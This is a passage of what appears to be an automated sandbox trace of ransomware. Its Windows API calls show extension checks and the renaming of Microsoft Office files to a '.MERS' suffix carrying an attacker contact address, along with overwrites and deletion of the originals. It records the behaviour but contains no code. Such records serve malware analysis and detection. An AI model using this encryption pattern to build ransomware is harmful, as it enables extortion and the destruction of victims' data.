CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0039.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0039.909] lstrlenW (lpString=".doc") returned 4 [0039.910] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.910] lstrlenW (lpString=".docx") returned 5 [0039.910] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0039.910] lstrlenW (lpString=".pdf") returned 4 [0039.910] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.910] lstrlenW (lpString=".xls") returned 4 [0039.910] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.910] lstrlenW (lpString=".xlsx") returned 5 [0039.910] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0039.910] lstrlenW (lpString=".ppt") returned 4 [0039.910] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0039.910] lstrlenW (lpString=".zip") returned 4 [0039.910] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.910] lstrlenW (lpString=".rar") returned 4 [0039.910] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.910] lstrlenW (lpString=".bz2") returned 4 [0039.910] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.910] lstrlenW (lpString=".7z") returned 3 [0039.910] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0039.910] lstrlenW (lpString=".dbf") returned 4 [0039.910] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.915] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0039.915] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0039.916] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fc6c | out: lpNewFilePointer=0x0) returned 1 [0039.916] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fc2c | out: lpNewFilePointer=0x0) returned 1 [0039.916] ReadFile (in: hFile=0x1e4, lpBuffer=0x3940058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3940058*, lpNumberOfBytesRead=0x2d8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0040.000] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fc2c | out: lpNewFilePointer=0x0) returned 1 [0040.000] ReadFile (in: hFile=0x1e4, lpBuffer=0x3980058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3980058*, lpNumberOfBytesRead=0x2d8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0040.086] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d8fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0040.086] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fc2c | out: lpNewFilePointer=0x0) returned 1 [0040.086] ReadFile (in: hFile=0x1e4, lpBuffer=0x39c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d8fc38, lpOverlapped=0x0 | out: lpBuffer=0x39c0058*, lpNumberOfBytesRead=0x2d8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0040.408] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.408] WriteFile (in: hFile=0x1e4, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2d8fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0040.444] SetEndOfFile (hFile=0x1e4) returned 1 [0040.444] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x4017e40 [0040.448] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fc7c | out: lpNewFilePointer=0x0) returned 1 [0040.448] WriteFile (in: hFile=0x1e4, lpBuffer=0x4017e40*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d8fc88, lpOverlapped=0x0 | out: lpBuffer=0x4017e40*, lpNumberOfBytesWritten=0x2d8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0040.449] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fc7c | out: lpNewFilePointer=0x0) returned 1 [0040.449] WriteFile (in: hFile=0x1e4, lpBuffer=0x4017e40*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d8fc88, lpOverlapped=0x0 | out: lpBuffer=0x4017e40*, lpNumberOfBytesWritten=0x2d8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0040.847] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fc7c | out: lpNewFilePointer=0x0) returned 1 [0040.847] WriteFile (in: hFile=0x1e4, lpBuffer=0x4017e40*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d8fc88, lpOverlapped=0x0 | out: lpBuffer=0x4017e40*, lpNumberOfBytesWritten=0x2d8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0040.849] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x4017e40 | out: hHeap=0x5f0000) returned 1 [0040.853] CloseHandle (hObject=0x1e4) returned 1 [0041.152] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0041.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0041.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0041.152] lstrlenW (lpString=".doc") returned 4 [0041.153] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0041.153] lstrlenW (lpString=".docx") returned 5 [0041.153] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0041.153] lstrlenW (lpString=".pdf") returned 4 [0041.153] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0041.153] lstrlenW (lpString=".xls") returned 4 [0041.153] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0041.153] lstrlenW (lpString=".xlsx") returned 5 [0041.153] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0041.153] lstrlenW (lpString=".ppt") returned 4 [0041.153] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0041.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0041.153] lstrlenW (lpString=".zip") returned 4 [0041.153] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0041.153] lstrlenW (lpString=".rar") returned 4 [0041.153] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0041.153] lstrlenW (lpString=".bz2") returned 4 [0041.153] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0041.153] lstrlenW (lpString=".7z") returned 3 [0041.153] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0041.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0041.153] lstrlenW (lpString=".dbf") returned 4 [0041.153] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0041.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0041.154] lstrlenW (lpString=".1cd") returned 4 [0041.154] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0041.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0041.154] lstrlenW (lpString=".jpg") returned 4 [0041.154] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0041.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0041.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0041.154] lstrlenW (lpString=".doc") returned 4 [0041.154] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0041.154] lstrlenW (lpString=".docx") returned 5 [0041.154] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0041.154] lstrlenW (lpString=".pdf") returned 4 [0041.154] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0041.154] lstrlenW (lpString=".xls") returned 4 [0041.154] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0041.154] lstrlenW (lpString=".xlsx") returned 5 [0041.154] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0041.154] lstrlenW (lpString=".ppt") returned 4 [0041.154] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0041.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0041.154] lstrlenW (lpString=".zip") returned 4 [0041.154] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0041.154] lstrlenW (lpString=".rar") returned 4 [0041.154] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0041.154] lstrlenW (lpString=".bz2") returned 4 [0041.154] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0041.154] lstrlenW (lpString=".7z") returned 3 [0041.155] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0041.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0041.155] lstrlenW (lpString=".dbf") returned 4 [0041.155] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0041.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0041.155] lstrlenW (lpString=".1cd") returned 4 [0041.155] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0041.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0041.155] lstrlenW (lpString=".jpg") returned 4 [0041.155] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0041.155] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0041.155] lstrlenW (lpString="OfficeMUISet.XML") returned 16 [0041.155] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0041.664] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=819) returned 1 [0041.664] CloseHandle (hObject=0x204) returned 1 [0041.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 0x20 [0041.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0041.665] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0041.665] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.665] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.665] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0041.680] GetLastError () returned 0x0 [0041.680] ReadFile (in: hFile=0x204, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x333, lpOverlapped=0x0) returned 1 [0041.826] WriteFile (in: hFile=0x1f8, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x340, lpOverlapped=0x0) returned 1 [0041.826] ReadFile (in: hFile=0x204, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.826] WriteFile (in: hFile=0x1f8, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0041.826] SetEndOfFile (hFile=0x1f8) returned 1 [0041.827] CloseHandle (hObject=0x1f8) returned 1 [0041.827] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.827] SetEndOfFile (hFile=0x204) returned 1 [0041.828] CloseHandle (hObject=0x204) returned 1 [0041.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0041.828] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 1 [0041.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0041.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0041.829] lstrlenW (lpString=".doc") returned 4 [0041.829] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.829] lstrlenW (lpString=".docx") returned 5 [0041.829] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0041.829] lstrlenW (lpString=".pdf") returned 4 [0041.829] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.829] lstrlenW (lpString=".xls") returned 4 [0041.829] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.829] lstrlenW (lpString=".xlsx") returned 5 [0041.829] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0041.829] lstrlenW (lpString=".ppt") returned 4 [0041.829] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0041.829] lstrlenW (lpString=".zip") returned 4 [0041.829] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.829] lstrlenW (lpString=".rar") returned 4 [0041.829] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.829] lstrlenW (lpString=".bz2") returned 4 [0041.829] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.829] lstrlenW (lpString=".7z") returned 3 [0041.829] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0041.829] lstrlenW (lpString=".dbf") returned 4 [0041.829] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0041.829] lstrlenW (lpString=".1cd") returned 4 [0041.829] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0041.829] lstrlenW (lpString=".jpg") returned 4 [0041.829] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0041.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0041.830] lstrlenW (lpString=".doc") returned 4 [0041.830] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.830] lstrlenW (lpString=".docx") returned 5 [0041.830] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0041.830] lstrlenW (lpString=".pdf") returned 4 [0041.830] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.830] lstrlenW (lpString=".xls") returned 4 [0041.830] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.830] lstrlenW (lpString=".xlsx") returned 5 [0041.830] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0041.830] lstrlenW (lpString=".ppt") returned 4 [0041.830] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0041.830] lstrlenW (lpString=".zip") returned 4 [0041.830] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.830] lstrlenW (lpString=".rar") returned 4 [0041.830] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.830] lstrlenW (lpString=".bz2") returned 4 [0041.830] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.830] lstrlenW (lpString=".7z") returned 3 [0041.830] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0041.830] lstrlenW (lpString=".dbf") returned 4 [0041.830] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0041.830] lstrlenW (lpString=".1cd") returned 4 [0041.830] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0041.830] lstrlenW (lpString=".jpg") returned 4 [0041.830] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.830] lstrcmpiW (lpString1=".CHM", lpString2=".MERS") returned -1 [0041.830] lstrlenW (lpString="PSS10R.CHM") returned 10 [0041.831] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0041.831] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=27195) returned 1 [0041.831] CloseHandle (hObject=0x204) returned 1 [0041.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 0x20 [0041.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0041.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0041.832] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.832] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0041.832] GetLastError () returned 0x0 [0041.832] ReadFile (in: hFile=0x204, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x6a3b, lpOverlapped=0x0) returned 1 [0042.168] WriteFile (in: hFile=0x1f8, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x6a40, lpOverlapped=0x0) returned 1 [0042.169] ReadFile (in: hFile=0x204, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.169] WriteFile (in: hFile=0x1f8, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0042.170] SetEndOfFile (hFile=0x1f8) returned 1 [0042.585] CloseHandle (hObject=0x1f8) returned 1 [0042.620] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.620] SetEndOfFile (hFile=0x204) returned 1 [0042.620] CloseHandle (hObject=0x204) returned 1 [0042.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0042.621] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 1 [0043.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0043.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0043.132] lstrlenW (lpString=".doc") returned 4 [0043.132] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0043.140] lstrlenW (lpString=".docx") returned 5 [0043.140] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1 [0043.140] lstrlenW (lpString=".pdf") returned 4 [0043.140] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0043.140] lstrlenW (lpString=".xls") returned 4 [0043.140] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0043.140] lstrlenW (lpString=".xlsx") returned 5 [0043.140] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1 [0043.140] lstrlenW (lpString=".ppt") returned 4 [0043.140] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0043.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0043.140] lstrlenW (lpString=".zip") returned 4 [0043.140] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0043.140] lstrlenW 